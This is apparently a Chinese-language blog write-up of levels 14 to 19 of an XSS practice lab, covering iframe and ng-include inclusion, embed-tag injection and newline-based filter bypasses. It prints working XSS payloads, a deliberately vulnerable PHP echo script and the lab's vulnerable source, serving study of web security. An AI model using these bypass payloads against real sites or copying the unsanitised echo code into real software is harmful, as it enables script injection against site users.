是 HTML 中的一个标签,用于在网页中嵌入另一个网页或外部资源。它允许你在当前页面中显示来自不同来源的内容,比如其他网站的页面、地图、视频等。通过指定
<iframe>
标签的src
属性,你可以指定要嵌入的外部资源的 URL。例如:<iframe src=“网站地址”></iframe>
这将在你的网页中嵌入来自 指定网站 的内容。你可以设置
<iframe>
的大小、边框以及其他属性,以适应你的布局和需求。需要注意的是,嵌入外部内容可能会涉及到跨域访问和安全性问题,因此需要谨慎处理。
关键点就是这个网址,如果跳转的网址存在XSS漏洞,那么它也会触发本关卡的XSS。
那么我们直接构造以个含有XSS漏洞的网站,然后通过iframe
来间接访问~!
<?php
$Xss = $_GET['xss'];
echo $Xss;
?>
成功拿下
后端源码与页面源码一致,就不在进行分析,很简单。
这一关卡嵌入了AngularJS
框架,AngularJS
是一个由 Google 开发的 JavaScript 前端框架,用于构建单页面应用程序(SPA)。它提供了一种结构化的方法来开发 Web 应用,简化了前端开发流程。
老规矩还是查找输入点和回显点。
发现15关的参数是一张图片,它在一个span块中,其中用了class属性里面的值是ng-include:1.gif
,这里看着就有点奇怪,class属性一般都是用来处理样式表,但是这里却直接使用ng-include:1.gif
.这并不是 class
属性通常所用的方式。
正常情况下,ng-include
是用于 AngularJS 框架中的,用来包含其他 HTML 文件的内容。而将 ng-include:1.gif
直接放在 class
属性中并不符合标准的 HTML/CSS 规范。
ng-include的使用方式:
基本的使用方式是在 HTML 页面中使用
ng-include
指令,并将需要包含的外部文件的路径作为指令的参数。例如:<div ng-include=“‘/地址/文件.html | php’”></div>
在这个例子中,
ng-include
指令将会包含/地址/文件.html | php'
文件的内容并插入到<div>
元素中。需要注意的是,使用
ng-include
指令时,要确保路径指向的文件是存在的,否则页面会出现错误。
所以我们可以使用level-14的思路,来构建一个POC。
‘/xss.php?xss=<input type="text" onmouseover=alert(1)>’
xss.php是我直接写了一个xss漏洞的代码
<?php
$xss = $_GET['xss']
echo "<center> xss漏洞". $xss
?>
发现在源页面下,吧xss.php的页面也包含进来,这个页面是以个包含xss漏洞的页面,当我的鼠标移动到这个文本框,就会触发XSS脚本。
源码非常简单就不在进行分析!
老规矩还是查找输入点和回显点。
从页面源码分析,传输在页面有一个回显点,因此我们可以构造一个POC进行测试!
<script>alert(1)</script>
发现scirpt
、/
都被HTML实体编码转义成$nbsp;
,在使用其他POC进行测试。
<input type="text" onmouseover=alert(0)>
发现空格也被转义成$nbsp
,那么我们就要构造一个不含script
、/
、(空格)
的POC。
<input%0Atype="text"%0Aοnmοuseοver=alert(0)>
成功通过,我使用了%0A
它是URL 编码,代表换行符。在HTML语法中,换行符通常被解释为空格符,不会产生实际的换行效果。这是因为 HTML 解析器会忽略连续的空白字符(包括空格、制表符和换行符),将它们视为单个空格符。
<!DOCTYPE html><!--STATUS OK-->
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function() {
confirm("完成的不错!");
window.location.href = "level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2 = str_replace("script", " ", $str);
$str3 = str_replace(" ", " ", $str2);
$str4 = str_replace("/", " ", $str3);
$str5 = str_replace(" ", " ", $str4);
echo "<center>" . $str5 . "</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:" . strlen($str5) . "</h3>";
?>
</body>
</html>
从源码中分析,传递的参数受援会被strtolower()
函数转换成小写字符,避免大小写绕过的问题,然后使用str_replace()
函数对 script
、空格
、/
关键字进行了过滤,将过滤后的结果放在页面回显。
老规矩还是查找输入点和回显点。没有发现明显的回显点,查看页面源码发现,参数都传递进<embed>
标签中。
<embed>
是 HTML 标签之一,用于嵌入外部内容或资源(比如多媒体文件)到网页中。它可以嵌入各种类型的内容,比如图像、音频、视频、Flash 动画等。
<embed>
标签已经被 HTML5 规范废弃,推荐使用<object>
或<iframe>
标签来嵌入外部内容。根据具体的需要和媒体类型,来选择适合的标签进行嵌入。
在本关卡中<embed>
标签嵌入了一个外部内容,src
属性指定了嵌入的 Flash 文件(xsf01.swf
),更具页面源码分析,arg01
和arg02
都是在src
属性后,在arg01
前面有一个?
,在arg02
前有一个=
号,那么它的意思就是,使用arg01
作为参数名字,arg02
作为参数值来调用,xsf02.swf
文件中的参数,那么我们是否可以构造一个POC来闭合这条语句呢?先进行尝试!
?arg01=%0Aοnmοuseοver=alert(1)%0A&arg02=
使用%0A
换行符,对arg01
前后的?
、=
进行分割,从而构造了一个DOC型 XSS。而arg02
参数我就不用在进行修改。进行测试.
成功通关
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
在源码中发现,它并没有对传入的传输进行赋值,而是直接将 $_GET["arg01"]
和 $_GET["arg02"]
的值传递给了 Flash 文件的参数。虽然使用了htmlspecialchars()
函数进行了过滤,但是任然是一种不安全的编程习惯,
在使用传递的传输前,应该充分的对他进行验证过滤,不要相信任何用户写入,才能保证网点的安全。
老规矩还是查找输入点和回显点。
分析页面源码,和level-17几乎是一样,使用level-17的POC进行测试!
?arg01=%0Aοnmοuseοver=alert(1)%0A&arg02=
直接通关!
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level19.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>
源码几乎也是一模一样,只是flash文件替换了~。
老规矩还是查找输入点和回显点。
页面源码和level-17、level-18 几乎也是一样的!还是直接传入level-17的POC进行测试!
?arg01=%0Aonmouseover=alert(1)%0A&arg02=
是我疏忽了,这一关卡src
的参数值被双引号阔选了,所以我们传入的POC就会被当作双引号中的一个整体,导致脚本无法触发,那次这一关我们就要考虑如何去闭合它。构造新的POC
在尝试各种方法后始终无法触发XSS脚本,最后才发现最后两关(19、20)需要flash逆向才能触发,现在精力有限制,所以留到以后有时间在做通关!